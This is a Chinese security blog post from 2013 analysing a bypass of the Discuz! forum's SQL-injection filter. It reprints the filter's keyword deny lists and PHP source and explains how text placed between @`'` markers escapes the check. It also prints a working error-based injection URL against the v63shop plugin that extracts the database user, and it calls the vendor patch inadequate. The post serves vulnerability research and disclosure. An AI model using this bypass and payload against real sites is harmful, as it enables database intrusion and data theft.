码审计:discuz 防注入函数绕过方法分析及没用心的修复补丁

文章出自:SafeKey Team  @Seay

分析人:晴天小铸,Seay

分析时间:2013年03月20日

原文地址:http://www.cnseay.com/archives/2447

SafeKey Team 致力于web安全,软件编程,逆向分析等方向研究。 

 

discuz介绍:

Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。

DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,SafeKey Team分析了某互联网公司披露的discuz v63积分商城插件注入漏洞,发现discuz本身的防注入机制可以被绕过,且无限制。

Discuz防注入分析如下:

先看防注入配置:

$_config['security']['querysafe']['status']=1;// 是否开启SQL安全检测,可自动预防SQL注入攻击$_config['security']['querysafe']['dfunction']= array('load_file','hex','substring','if','ord','char');$_config['security']['querysafe']['daction']= array('intooutfile','intodumpfile','unionselect','(select','unionall','uniondistinct');$_config['security']['querysafe']['dnote']= array('/*','*/','#','--','"');$_config['security']['querysafe']['dlikehex']=1;$_config['security']['querysafe']['afullnote']=0;

Discuz 执行SQL语句之前会调用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。

publicstaticfunction checkquery($sql){if(self::$config ===null){self::$config = getglobal('config/security/querysafe');}if(self::$config['status']){                            $cmd = trim(strtoupper(substr($sql,0, strpos($sql,' '))));if(in_array($cmd,self::$checkcmd)){                                     $test =self::_do_query_safe($sql);if($test <1){thrownewDbException('It is not safe to do this query',0, $sql);}}}returntrue;}
 

上面的if (self::$config['status']) {判断有木有开启防注入。最终会self::_do_query_safe($sql);

调用_do_query_safe() 函数。跟进该函数,在同文件的363行。

privatestaticfunction _do_query_safe($sql){		$sql = str_replace(array('\\\\','\\\'','\\"','\'\''),'', $sql);		$mark = $clean ='';if(strpos($sql,'/')===false&& strpos($sql,'#')===false&& strpos($sql,'-- ')===false){			$clean = preg_replace("/'(.+?)'/s",'', $sql);}else{			$len = strlen($sql);			$mark = $clean ='';for($i =0; $i < $len; $i++){				$str = $sql[$i];switch($str){case'\'':if(!$mark){							$mark ='\'';							$clean .= $str;} elseif ($mark =='\''){							$mark ='';}break;case'/':if(empty($mark)&& $sql[$i +1]=='*'){							$mark ='/*';							$clean .= $mark;							$i++;} elseif ($mark =='/*'&& $sql[$i -1]=='*'){							$mark ='';							$clean .='*';}break;case'#':if(empty($mark)){							$mark = $str;							$clean .= $str;}break;case"\n":if($mark =='#'|| $mark =='--'){							$mark ='';}break;case'-':if(empty($mark)&& substr($sql, $i,3)=='-- '){							$mark ='-- ';							$clean .= $mark;}break;default:break;}				$clean .= $mark ?'': $str;}}		$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is","", strtolower($clean));if(self::$config['afullnote']){			$clean = str_replace('/**/','', $clean);}if(is_array(self::$config['dfunction'])){foreach(self::$config['dfunction']as $fun){if(strpos($clean, $fun .'(')!==false)return'-1';}}if(is_array(self::$config['daction'])){foreach(self::$config['daction']as $action){if(strpos($clean, $action)!==false)return'-3';}}if(self::$config['dlikehex']&& strpos($clean,'like0x')){return'-2';}if(is_array(self::$config['dnote'])){foreach(self::$config['dnote']as $note){if(strpos($clean, $note)!==false)return'-4';}}return1;}

 

 

该防注入函数的关键绕过代码在

 

if(strpos($sql,'/')===false&& strpos($sql,'#')===false&& strpos($sql,'-- ')===false){       $clean = preg_replace("/'(.+?)'/s",'', $sql);}else{

 

在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。

所以会执行$clean = preg_replace(“/’(.+?)’/s”, ”, $sql);

原来SQL语句中两个单引号中间的内容就会被替换为空。

并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。

所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,

@`’` 是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为\’,而@`’`变成@`\’`对注入也是没有影响的,所以此绕过方法无限制。

即针对该注入漏洞的攻击EXP为:

http://www.cnseay.com/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110  or @`’` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`’`

调试输出SQL语句

码审计:discuz 防注入函数绕过方法分析及没用心的修复补丁_第1张图片

 

可以看到我们的注入语句被替换掉了,所以后面的检查字符的时候并没有发现注入语句。

最终成功利用:

码审计:discuz 防注入函数绕过方法分析及没用心的修复补丁_第2张图片

 

修复补丁:

看了下官网的补丁,检测了@符号,哈哈,不理智哦,大家都懂的,不解释。。。

官网补丁:http://www.discuz.net/forum.php?mod=viewthread&tid=3234536

你可能感兴趣的:(码审计:discuz 防注入函数绕过方法分析及没用心的修复补丁)